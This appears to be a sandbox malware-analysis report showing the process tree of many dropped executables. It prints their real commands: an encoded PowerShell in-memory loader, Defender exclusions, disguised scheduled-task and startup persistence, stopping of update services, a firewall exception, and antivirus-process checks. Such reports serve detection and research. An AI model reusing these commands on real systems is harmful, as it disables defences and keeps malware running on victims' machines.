C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEQAZQBzAGsAdABvAHAAXABGAGkAbABlAHMAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEQAZQBzAGsAdABvAHAAXABGAGkAbABlAHMAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAZABvAGMAdQBtAGUAbgB0AHMAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQA=6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\zjeibh.exe"C:\Users\Admin\AppData\Local\Temp\zjeibh.exe"6⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\vgtkki.exe"C:\Users\Admin\AppData\Local\Temp\vgtkki.exe"6⤵
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Updater.vbs"7⤵
-
C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe"C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe" -enc JABLAHgAcAByAGsAdABqAG8AbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABOAHkAdgBoAHkAeAB2AGsAaQAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAEsAeABwAHIAawB0AGoAbwBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEwAZQBwAGsAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABOAHkAdgBoAHkAeAB2AGsAaQAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQARABmAGEAdwBuAG8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEwAZQBwAGsAbAAgACkAOwAkAEMAYwB5AGMAaQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATgBsAGEAcwB6AGEAcQBoAGQAcQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABEAGYAYQB3AG4AbwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQATgBsAGEAcwB6AGEAcQBoAGQAcQAuAEMAbwBwAHkAVABvACgAIAAkAEMAYwB5AGMAaQAgACkAOwAkAE4AbABhAHMAegBhAHEAaABkAHEALgBDAGwAbwBzAGUAKAApADsAJABEAGYAYQB3AG4AbwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEwAZQBwAGsAbAAgAD0AIAAkAEMAYwB5AGMAaQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQATABlAHAAawBsACkAOwAgACQARABqAGkAaABjAGMAaABtAHoAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABMAGUAcABrAGwAKQA7ACAAJABKAG4AegBhAHgAagAgAD0AIAAkAEQAagBpAGgAYwBjAGgAbQB6AC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASgBuAHoAYQB4AGoALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEoAbgB6AGEAeABqAC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==8⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\OneDrive.exe"C:\Users\Admin\AppData\Local\Temp\OneDrive.exe"7⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\sjkhjkh.exe"C:\Users\Admin\Desktop\Files\sjkhjkh.exe"5⤵
-
-
C:\Users\Admin\Desktop\Files\BaddStore.exe"C:\Users\Admin\Desktop\Files\BaddStore.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"6⤵
-
C:\Users\Admin\Desktop\Files\._cache_aspnet_regiis.exe"C:\Users\Admin\Desktop\Files\._cache_aspnet_regiis.exe"7⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate7⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\Windows.exe"C:\Users\Admin\Desktop\Files\Windows.exe"5⤵
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Files\PkContent.exe"C:\Users\Admin\Desktop\Files\PkContent.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa opssvc"7⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 7245987⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "WowLiberalCalOfficer" Weight7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Explorer + ..\West + ..\Agencies + ..\Situated y7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\724598\Thermal.pifThermal.pif y7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\724598\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\724598\RegAsm.exe8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 57⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Desktop\Files\Server.exe"C:\Users\Admin\Desktop\Files\Server.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Users\Admin\Desktop\Files\25072023.exe"C:\Users\Admin\Desktop\Files\25072023.exe"5⤵
- Executes dropped EXE
- Modifies system certificate store
-
-
C:\Users\Admin\Desktop\Files\7777.exe"C:\Users\Admin\Desktop\Files\7777.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"6⤵
-
-
-
C:\Users\Admin\Desktop\Files\Client.exe"C:\Users\Admin\Desktop\Files\Client.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe"C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe" "WindowsServices.exe" ENABLE7⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
-
C:\Users\Admin\Desktop\Files\jet.exe"C:\Users\Admin\Desktop\Files\jet.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\Desktop\Files\twztl.exe"C:\Users\Admin\Desktop\Files\twztl.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\sysppvrdnvs.exeC:\Windows\sysppvrdnvs.exe6⤵
- Modifies security service
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"8⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc stop UsoSvc8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop WaaSMedicSvc8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop wuauserv8⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop DoSvc8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop BITS /wait8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\1707131382.exeC:\Users\Admin\AppData\Local\Temp\1707131382.exe7⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f8⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f9⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"8⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"9⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\718422952.exeC:\Users\Admin\AppData\Local\Temp\718422952.exe7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\1653515185.exeC:\Users\Admin\AppData\Local\Temp\1653515185.exe7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\1719411535.exeC:\Users\Admin\AppData\Local\Temp\1719411535.exe8⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\92626707.exeC:\Users\Admin\AppData\Local\Temp\92626707.exe7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Desktop\Files\hfs.exe"C:\Users\Admin\Desktop\Files\hfs.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\q1wnx5ir.exe"C:\Users\Admin\Desktop\Files\q1wnx5ir.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 4406⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\Files\Indentif.exe"C:\Users\Admin\Desktop\Files\Indentif.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Files\4.exe"C:\Users\Admin\Desktop\Files\4.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\3544436.exe"C:\Users\Admin\Desktop\Files\3544436.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
-
-
-
C:\Users\Admin\Desktop\Files\new_v8.exe"C:\Users\Admin\Desktop\Files\new_v8.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\postbox.exe"C:\Users\Admin\Desktop\Files\postbox.exe"5⤵
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exeC:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe6⤵
-
-
-
C:\Users\Admin\Desktop\Files\InstallSetup.exe"C:\Users\Admin\Desktop\Files\InstallSetup.exe"5⤵
- Checks computer location settings
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy Sometimes Sometimes.cmd & Sometimes.cmd6⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa opssvc"7⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"7⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 3887017⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "insectsattributesleonecollection" Partly7⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Contracting + ..\Inserted + ..\Convicted + ..\Guaranteed + ..\Bosnia + ..\Investigator + ..\Beginner + ..\Winners + ..\Earrings + ..\Feel e7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\388701\Quarter.comQuarter.com e7⤵
-
C:\Users\Admin\AppData\Local\Temp\388701\Quarter.comC:\Users\Admin\AppData\Local\Temp\388701\Quarter.com8⤵
-
C:\Users\Admin\AppData\Local\Temp\9FB5.tmp.exe"C:\Users\Admin\AppData\Local\Temp\9FB5.tmp.exe"9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy Scott Scott.cmd & Scott.cmd10⤵
-
-
-
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 57⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\Unit.exe"C:\Users\Admin\Desktop\Files\Unit.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2924 -s 4406⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\Files\zxcv.exe"C:\Users\Admin\Desktop\Files\zxcv.exe"5⤵
-
C:\Users\Admin\Desktop\Files\zxcv.exe"C:\Users\Admin\Desktop\Files\zxcv.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\dWOsvTqRo2.exe"C:\Users\Admin\AppData\Roaming\dWOsvTqRo2.exe"7⤵
-
-
C:\Users\Admin\AppData\Roaming\P1zYHOsboz.exe"C:\Users\Admin\AppData\Roaming\P1zYHOsboz.exe"7⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6236 -s 2966⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\Files\8.11.9-Windows.exe"C:\Users\Admin\Desktop\Files\8.11.9-Windows.exe"5⤵
-
-
C:\Users\Admin\Desktop\Files\t.exe"C:\Users\Admin\Desktop\Files\t.exe"5⤵
-
-
C:\Users\Admin\Desktop\Files\r.exe"C:\Users\Admin\Desktop\Files\r.exe"5⤵
-
-
C:\Users\Admin\Desktop\Files\Microsoft.exe"C:\Users\Admin\Desktop\Files\Microsoft.exe"5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe6⤵
-
-
-
C:\Users\Admin\Desktop\Files\worker.exe"C:\Users\Admin\Desktop\Files\worker.exe"5⤵
-
C:\Users\Admin\Desktop\Files\worker.exe"C:\Users\Admin\Desktop\Files\worker.exe"6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\Ewpeloxttug.exe"C:\Users\Admin\Desktop\Files\Ewpeloxttug.exe"5⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3540,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3784 /prefetch:33⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5224,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5276 /prefetch:83⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks.exe /create /tn "Enjoy" /tr "wscript //B 'C:\Users\Admin\AppData\Local\SkySync Technologies\SkySync.js'" /sc minute /mo 5 /F2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "Enjoy" /tr "wscript //B 'C:\Users\Admin\AppData\Local\SkySync Technologies\SkySync.js'" /sc minute /mo 5 /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SkySync.url" & echo URL="C:\Users\Admin\AppData\Local\SkySync Technologies\SkySync.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SkySync.url" & exit2⤵
- Drops startup file
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & echo URL="C:\Users\Admin\AppData\Local\GuardKey Solutions\HermesKey.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & exit2⤵
- Drops startup file
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
-
-
C:\Windows\System32\dwm.exeC:\Windows\System32\dwm.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\B99B.tmp.x.exe"C:\Users\Admin\AppData\Local\Temp\B99B.tmp.x.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\3A5.tmp.zx.exe"C:\Users\Admin\AppData\Local\Temp\3A5.tmp.zx.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3A5.tmp.zx.exe"C:\Users\Admin\AppData\Local\Temp\3A5.tmp.zx.exe"3⤵
